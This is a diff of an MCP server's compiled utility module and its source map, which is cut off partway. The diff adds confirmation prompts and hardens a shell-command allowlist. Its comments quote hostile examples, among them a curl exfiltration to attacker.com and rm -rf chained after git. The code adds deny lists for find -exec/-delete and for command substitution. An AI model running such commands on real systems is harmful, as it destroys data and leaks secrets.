|
+
// Set once by setupToolsHandlers so the standalone handler functions in tools.ts — which
|
|
115
|
+
// don't otherwise see the Server instance — can ask the connected client to confirm before
|
|
116
|
+
// a mutating tool runs.
|
|
117
|
+
let mcpServerRef = null;
|
|
118
|
+
function setMcpServerRef(server) {
|
|
119
|
+
mcpServerRef = server;
|
|
120
|
+
}
|
|
121
|
+
/**
|
|
122
|
+
* The connected host's clientInfo (name/version) from the MCP initialize handshake — e.g.
|
|
123
|
+
* "cursor"/"claude-code"/"codex". Tool handlers only run after the handshake completes, so
|
|
124
|
+
* this is already populated by the time any of them call it; no separate capture step needed.
|
|
125
|
+
* Note this identifies the *host*, not the underlying model it's using — Cursor/Windsurf let
|
|
126
|
+
* the user pick GPT or Claude per session, so it cannot be used to select a tokenizer.
|
|
127
|
+
*/
|
|
128
|
+
function getConnectedClientInfo() {
|
|
129
|
+
return mcpServerRef?.getClientVersion();
|
|
130
|
+
}
|
|
131
|
+
/**
|
|
132
|
+
* The default similarity floor a memory must clear before search_memory/smarter_cache
|
|
133
|
+
* treat it as a real hit rather than noise. Shared so both paths agree on what counts.
|
|
134
|
+
*/
|
|
135
|
+
exports.DEFAULT_MEMORY_SIMILARITY_FLOOR = 0.75;
|
|
136
|
+
/**
|
|
137
|
+
* Ask the client to confirm a destructive action before it happens.
|
|
138
|
+
*
|
|
139
|
+
* Mirrors the defensive shape of trySamplingContext() in src/mcp/index.ts: most clients
|
|
140
|
+
* today don't support elicitation, so any failure (unsupported capability, timeout,
|
|
141
|
+
* malformed response) must fall back to "proceed without confirmation" rather than block
|
|
142
|
+
* or error out the tool. This is a courtesy prompt for clients that support it, not a
|
|
143
|
+
* security boundary — the allowlist/path-safety checks each handler already does are that.
|
|
144
|
+
*/
|
|
145
|
+
async function tryElicitConfirmation(summary) {
|
|
146
|
+
if (!mcpServerRef)
|
|
147
|
+
return { supported: false, confirmed: true };
|
|
148
|
+
try {
|
|
149
|
+
const result = await mcpServerRef.elicitInput({
|
|
150
|
+
message: summary,
|
|
151
|
+
requestedSchema: {
|
|
152
|
+
type: "object",
|
|
153
|
+
properties: {
|
|
154
|
+
confirm: {
|
|
155
|
+
type: "boolean",
|
|
156
|
+
title: "Proceed?",
|
|
157
|
+
description: "Confirm this action should be applied.",
|
|
158
|
+
},
|
|
159
|
+
},
|
|
160
|
+
required: ["confirm"],
|
|
161
|
+
},
|
|
162
|
+
});
|
|
163
|
+
if (result.action !== "accept") {
|
|
164
|
+
// "decline" or "cancel" — the user (or client policy) said no.
|
|
165
|
+
return { supported: true, confirmed: false };
|
|
166
|
+
}
|
|
167
|
+
const confirmed = result.content?.confirm !== false;
|
|
168
|
+
return { supported: true, confirmed };
|
|
169
|
+
}
|
|
170
|
+
catch (err) {
|
|
171
|
+
logWarn("elicitation", "Client does not support elicitation (or the request failed) — proceeding without confirmation");
|
|
172
|
+
return { supported: false, confirmed: true };
|
|
173
|
+
}
|
|
174
|
+
}
|
|
175
|
+
/**
|
|
176
|
+
* Ask the client to pick one of several candidates via a typed (oneOf) elicitation form,
|
|
177
|
+
* instead of the plain confirm/deny shape tryElicitConfirmation uses. Same defensive
|
|
178
|
+
* contract: no support, a decline, or a malformed response all just mean "couldn't
|
|
179
|
+
* resolve it this way" — the caller falls back to its own error/default behavior, never
|
|
180
|
+
* blocks or throws.
|
|
181
|
+
*/
|
|
182
|
+
async function tryElicitChoice(message, options) {
|
|
183
|
+
if (!mcpServerRef || options.length === 0)
|
|
184
|
+
return { supported: false, index: null };
|
|
185
|
+
try {
|
|
186
|
+
const result = await mcpServerRef.elicitInput({
|
|
187
|
+
message,
|
|
188
|
+
requestedSchema: {
|
|
189
|
+
type: "object",
|
|
190
|
+
properties: {
|
|
191
|
+
choice: {
|
|
192
|
+
type: "string",
|
|
193
|
+
title: "Which one?",
|
|
194
|
+
oneOf: options.map((opt, i) => ({ const: String(i), title: opt.title })),
|
|
195
|
+
},
|
|
196
|
+
},
|
|
197
|
+
required: ["choice"],
|
|
198
|
+
},
|
|
199
|
+
});
|
|
200
|
+
if (result.action !== "accept" || !result.content) {
|
|
201
|
+
return { supported: true, index: null };
|
|
202
|
+
}
|
|
203
|
+
const idx = Number(result.content.choice);
|
|
204
|
+
if (!Number.isInteger(idx) || idx < 0 || idx >= options.length) {
|
|
205
|
+
return { supported: true, index: null };
|
|
206
|
+
}
|
|
207
|
+
return { supported: true, index: idx };
|
|
208
|
+
}
|
|
209
|
+
catch (err) {
|
|
210
|
+
logWarn("elicitation", "Client does not support elicitation (or the request failed) — no choice made");
|
|
211
|
+
return { supported: false, index: null };
|
|
212
|
+
}
|
|
213
|
+
}
|
|
106
214
|
// ─── Command Allowlist ────────────────────────────────────────────────────────
|
|
107
215
|
/**
|
|
108
216
|
* Safe command prefixes allowed by run_workspace_command by default.
|
|
@@ -136,8 +244,28 @@ const DEFAULT_ALLOWED_COMMAND_PREFIXES = [
|
|
|
136
244
|
// Containers & infra
|
|
137
245
|
'docker', 'docker-compose', 'kubectl', 'helm', 'terraform',
|
|
138
246
|
// Misc safe tools
|
|
139
|
-
|
|
247
|
+
// `curl` and `ping` were dropped: neither is a dev-tool workflow this list exists for, and
|
|
248
|
+
// `curl` in particular is the single highest-value exfiltration primitive a "safe" prefix
|
|
249
|
+
// could grant (`curl attacker.com -d @secrets`). Add it back per-project via
|
|
250
|
+
// lemma.config.json if a workflow genuinely needs it.
|
|
251
|
+
'jq', 'yq',
|
|
140
252
|
];
|
|
253
|
+
/**
|
|
254
|
+
* `find` flags that grant execution or deletion without any shell operator at all —
|
|
255
|
+
* `find . -exec rm -rf {} \;` needs no `&&`/`;` to do damage, so these can't be caught by
|
|
256
|
+
* clause-splitting and must be denied per-flag instead.
|
|
257
|
+
*/
|
|
258
|
+
const DANGEROUS_FIND_FLAGS = new Set([
|
|
259
|
+
'-exec', '-execdir', '-ok', '-okdir', '-delete', '-fprintf',
|
|
260
|
+
]);
|
|
261
|
+
/** Shell operators this validator understands and permits as command separators. */
|
|
262
|
+
const CHAIN_OPERATORS = new Set(['&&', '||', ';', '|']);
|
|
263
|
+
/**
|
|
264
|
+
* Defense in depth against command/process substitution: shell-quote does not structurally
|
|
265
|
+
* flag backtick substitution (it comes back as one opaque string token), so this has to be
|
|
266
|
+
* caught at the raw-string level before parsing, not via the parsed token shape.
|
|
267
|
+
*/
|
|
268
|
+
const SUBSTITUTION_PATTERN = /\$\(|`|<\(|>\(/;
|
|
141
269
|
/**
|
|
142
270
|
* Loads allowed command prefixes by merging the hardcoded defaults with
|
|
143
271
|
* any user-defined extensions in lemma.config.json under `mcp.allowedCommandPrefixes`.
|
|
@@ -161,18 +289,74 @@ function loadAllowedCommands() {
|
|
|
161
289
|
return defaults;
|
|
162
290
|
}
|
|
163
291
|
/**
|
|
164
|
-
*
|
|
165
|
-
*
|
|
292
|
+
* Structurally validates a command string against the allowlist.
|
|
293
|
+
*
|
|
294
|
+
* A first-token-only check is not enough: `run_workspace_command` executes via
|
|
295
|
+
* `spawn(command, { shell: true })`, so the whole string reaches a real shell. An allowed
|
|
296
|
+
* prefix followed by `&&`, `;`, `|`, redirection, or substitution can run anything —
|
|
297
|
+
* `git status && rm -rf ~` passes a first-token check because `git` is allowed, but the
|
|
298
|
+
* shell still runs the `rm`. This walks the parsed token stream instead: every clause
|
|
299
|
+
* between chain operators must independently pass the allowlist, and redirection,
|
|
300
|
+
* substitution, backgrounding, and subshells are rejected outright rather than enumerated
|
|
301
|
+
* as "not yet seen as dangerous".
|
|
166
302
|
*/
|
|
167
303
|
function isCommandAllowed(command) {
|
|
168
304
|
const trimmed = command.trim();
|
|
169
|
-
|
|
170
|
-
|
|
171
|
-
|
|
305
|
+
if (!trimmed)
|
|
306
|
+
return { allowed: false, reason: "empty command" };
|
|
307
|
+
if (SUBSTITUTION_PATTERN.test(trimmed)) {
|
|
308
|
+
return {
|
|
309
|
+
allowed: false,
|
|
310
|
+
reason: "command/process substitution ($(...), `...`, <(...), >(...)) is not allowed",
|
|
311
|
+
};
|
|
312
|
+
}
|
|
313
|
+
let parsed;
|
|
314
|
+
try {
|
|
315
|
+
parsed = (0, shell_quote_1.parse)(trimmed);
|
|
316
|
+
}
|
|
317
|
+
catch {
|
|
318
|
+
return { allowed: false, reason: "command could not be safely parsed" };
|
|
319
|
+
}
|
|
320
|
+
const clauses = [[]];
|
|
321
|
+
for (const token of parsed) {
|
|
322
|
+
if (token !== null && typeof token === "object") {
|
|
323
|
+
const t = token;
|
|
324
|
+
if (t.op === "glob" && typeof t.pattern === "string") {
|
|
325
|
+
// Glob tokens (`*.ts`) are just an annotated word, not a shell operator.
|
|
326
|
+
clauses[clauses.length - 1].push(t.pattern);
|
|
327
|
+
continue;
|
|
328
|
+
}
|
|
329
|
+
if (typeof t.op === "string" && CHAIN_OPERATORS.has(t.op)) {
|
|
330
|
+
clauses.push([]);
|
|
331
|
+
continue;
|
|
332
|
+
}
|
|
333
|
+
// Anything else — redirection (>, >>, <, <<, 2>&1), subshells `(`/`)`, backgrounding
|
|
334
|
+
// `&`, comments — is unsupported syntax and denied by default rather than allowed
|
|
335
|
+
// because it wasn't specifically matched.
|
|
336
|
+
const label = typeof t.op === "string" ? t.op : t.comment !== undefined ? "#" : "unsupported syntax";
|
|
337
|
+
return { allowed: false, reason: `disallowed shell syntax: "${label}"` };
|
|
338
|
+
}
|
|
339
|
+
clauses[clauses.length - 1].push(String(token));
|
|
340
|
+
}
|
|
172
341
|
const allowed = loadAllowedCommands();
|
|
173
|
-
|
|
174
|
-
|
|
175
|
-
|
|
176
|
-
|
|
342
|
+
let matchedPrefix;
|
|
343
|
+
for (const clause of clauses) {
|
|
344
|
+
const firstToken = clause.find((t) => !t.includes("=")) ?? clause[0];
|
|
345
|
+
if (!firstToken)
|
|
346
|
+
return { allowed: false, reason: "empty command clause" };
|
|
347
|
+
const baseName = path_1.default.basename(firstToken); // handles /usr/bin/git → git
|
|
348
|
+
const prefix = allowed.find((p) => baseName === p || baseName.startsWith(p + " "));
|
|
349
|
+
if (!prefix) {
|
|
350
|
+
return { allowed: false, reason: `"${baseName}" is not in the allowed command list` };
|
|
351
|
+
}
|
|
352
|
+
matchedPrefix = matchedPrefix ?? prefix;
|
|
353
|
+
if (baseName === "find" && clause.some((t) => DANGEROUS_FIND_FLAGS.has(t))) {
|
|
354
|
+
return {
|
|
355
|
+
allowed: false,
|
|
356
|
+
reason: `"find" with -exec/-execdir/-ok/-okdir/-delete/-fprintf is not allowed (grants execution/deletion without a shell operator)`,
|
|
357
|
+
};
|
|
358
|
+
}
|
|
359
|
+
}
|
|
360
|
+
return { allowed: true, prefix: matchedPrefix };
|
|
177
361
|
}
|
|
178
362
|
//# sourceMappingURL=utils.js.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"utils.js","sourceRoot":"","sources":["../../../src/mcp/utils.ts"],"names":[],"mappings":"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"}
|
|
1
|
+
{"version":3,"file":"utils.js","sourceRoot":"","sources":["../../../src/mcp/utils.ts"],"names":[],"mappings":"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